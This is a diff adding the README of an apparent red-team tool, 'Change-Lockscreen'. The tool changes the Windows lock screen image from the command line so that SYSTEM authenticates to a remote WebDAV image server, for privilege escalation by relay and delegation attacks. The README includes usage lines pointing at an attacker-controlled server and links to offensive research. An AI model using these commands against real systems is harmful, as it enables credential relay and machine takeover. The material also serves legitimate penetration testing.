| 1 | + | # Change-Lockscreen |
| 2 | + | |
| 3 | + | Change-Lockscreen is a tool to trigger network authentications as SYSTEM by changing the Windows lock screen image from command line to perform privilege escalation attacks such as the following: |
| 4 | + | * (Link to Blog) |
| 5 | + | |
| 6 | + | # Features |
| 7 | + | |
| 8 | + | By default, Windows 10 has a feature called Windows Spotlight. It is in charge of downloading and displaying lock screen images automatically. |
| 9 | + | * When this feature is enabled, Change-Lockscreen will disable it and establish the image specified in the arguments. |
| 10 | + | * Otherwise if the user has a custom lock screen image, Change-Lockscreen will be in charge to run a backup of it and establish it again. |
| 11 | + | |
| 12 | + | N.B. While the Poweshell version of the tool works smoothly, the C# version sometimes fails restoring the original image. |
| 13 | + | |
| 14 | + | # Usage |
| 15 | + | |
| 16 | + | ``` |
| 17 | + | Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg] |
| 18 | + | Change-Lockscreen -Webdav \\[imageserver]@[port]\ |
| 19 | + | ``` |
| 20 | + | |
| 21 | + | (GIF IMAGE CHANGE) |
| 22 | + | |
| 23 | + | # Acknowledgements |
| 24 | + | |
| 25 | + | * https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html |
| 26 | + | * https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c |
| 27 | + | * https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/ |
| 28 | + | * https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ |
| 29 | + | * http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/ |
| 30 | + | * https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/ |
| 31 | + | |